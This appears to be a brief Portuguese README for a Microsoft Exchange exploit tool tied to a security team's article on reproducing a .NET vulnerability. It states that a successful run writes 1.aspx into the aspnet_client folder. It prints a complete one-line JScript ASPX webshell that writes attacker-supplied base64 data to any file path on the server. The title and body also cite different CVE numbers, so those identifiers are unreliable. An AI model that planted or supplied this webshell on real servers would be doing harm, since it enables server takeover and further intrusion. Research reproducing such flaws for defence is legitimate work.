exch_CVE-2021-42321

Este artigo é sobre as ferramentas envolvidas no artigo da equipe de segurança 7bits "Segurança DotNet - Reprodução da vulnerabilidade CVE-2022-23277"

A parte de autenticação precisa ser adicionada manualmente via Burp Suite. Após uma exploração bem-sucedida, o arquivo 1.aspx será gravado em aspnet_client.

webshell:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

Detalhes da exploração podem ser consultados em nosso artigo.

Bem-vindo a seguir nossa conta pública - Zbits2022